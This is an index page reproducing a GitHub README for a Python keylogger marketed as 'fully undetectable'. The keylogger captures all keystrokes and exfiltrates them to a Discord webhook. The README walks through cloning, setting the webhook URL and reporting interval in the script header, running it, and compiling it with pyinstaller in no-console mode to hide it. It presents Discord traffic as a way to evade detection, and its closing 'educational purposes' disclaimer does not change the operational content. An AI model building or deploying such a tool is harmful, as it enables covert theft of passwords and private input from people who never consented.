Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/noassosciation/discord-keylogger

Undetectable Keylogger that reports to Discord
https://github.com/noassosciation/discord-keylogger

bot discord discord-keylogger discord-malware discord-stealer discord-webhook fud fully-undetectable keylog keylogger malware webhook

Last synced: 7 days ago
JSON representation

Undetectable Keylogger that reports to Discord

Awesome Lists containing this project

README

        

# FUD Keylogger That Reports To Discord #

This python script will capture all of the keystrokes within a given time frame and report them to a Discord Server using Webhooks. Instead of the traditional "save to file" or "report to email" methods, you can use this method to stay undetected since webhook requests are considered as normal Discord Traffic.

![image](https://i.ibb.co/LrkQPc3/keylogger.png)

## Getting Started

Make sure you have Python installed on your machine, you download the installer from [here](https://www.python.org/downloads/).

## Clone the repository
```
git clone https://github.com/NoAssosciation/discord-keylogger.git
```
Or you can download the [zip file](https://github.com/NoAssosciation/discord-keylogger/archive/refs/heads/main.zip) from the repository website.

## Install Required Libraries
```
python -m pip install -r requirements.txt
```

## Create a Discord Server

You can follow [this](https://support.discord.com/hc/en-us/articles/204849977-How-do-I-create-a-server-) article on how to do that.

## Create a Discord Webhook

Got to your servers settings select Intergrations >> Webhooks and create a new Webhook. You can also customize it and give it a name and a featured icon. Make sure to copy the URL, you will need it later.

![screenshot](https://i.ibb.co/0JWHdWz/Capture.png)

## Edit keylogger.py
Its time to edit the python script. Now that you have the Webhook URL, you can add that to the file. Also make sure to add your desired timeframe that they keylogger will report to you. You have to add the time in seconds so you can use [this](https://www.calculatorsoup.com/calculators/conversions/time.php) converter to get the correct time in seconds.

```Python
import keyboard,os
from threading import Timer
from datetime import datetime
from discord_webhook import DiscordWebhook, DiscordEmbed

SEND_REPORT_EVERY = TIME_IN_SECONDS_HERE
WEBHOOK = "WEBHOOK_URL_HERE"
```

## Execute the script

You are now ready to test the script and see whether if it works or not. If you are having problems with the script please open a new ticket on the issues tab and i will try to help you.

To execute the script all you have to do is run:
```
python keylogger.py
```
If all goes right, you should see a report on discord after the seconds you have specified on the script have passed.
![rick](https://i.ibb.co/ckF9jbk/rick.png)

## Compile the script

Now what if you want to turn this into an executable? You can do that with the pyinstaller library that was included in the requirements.txt file.
```
pyinstaller PATH_TO_SCRIPT --onefile --noconsole
```
## ⚠️ DISCLAIMER ⚠️

**I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!**